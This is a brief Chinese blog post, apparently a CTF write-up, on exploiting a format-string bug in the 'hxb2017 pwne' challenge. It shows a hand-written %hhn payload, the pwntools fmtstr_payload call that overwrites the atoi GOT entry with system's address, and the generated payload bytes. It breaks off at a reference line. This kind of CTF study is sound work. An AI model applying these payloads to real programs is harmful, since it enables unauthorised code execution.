hxb2017 pwne easy format vuln
2019-10-31 本文已影响0人
v1gor
pwntools 对格式化字符串漏洞payload的支持
这题本身没啥好记的,就是一个简单的格式化漏洞,但是有个pwntools的骚操作记录一下:
一般泄露了system地址之后,要将system地址覆盖到got.plt表的某个表项或者写到返回地址中,因此都需要使用%?c%?$hn
这种方式来向栈上某个指针中写地址.比如这题一开始我payload是这么写的:
payloadpayl = ("%"+str(b1).rjust(2,"0")+"c%16$hhn%"+str(bw2).rjust(2,"0")+"c%17hhn%"+str(bw3).rjust(2,"0")+"c%18hhn").ljust(8*4,"a")+ p32(atoi_got)+p32(atoi_got + 1)+p32(atoi_got + 2)#
很艰辛,然后调试的时候还各种写错误,直到看到了学长的脚本:
payload = fmtstr_payload(7, {atoi_got:system_addr})
一句话就搞定了orz
看了一下生成的payload:
',\xa0\x04\x08-\xa0\x04\x08.\xa0\x04\x08/\xa0\x04\x08%32c%7$hhn%43c%8$hhn%5c%9$hhn%151c%10$hhn'
查了一下pwntools的这个东西,挺好用的,具体参考: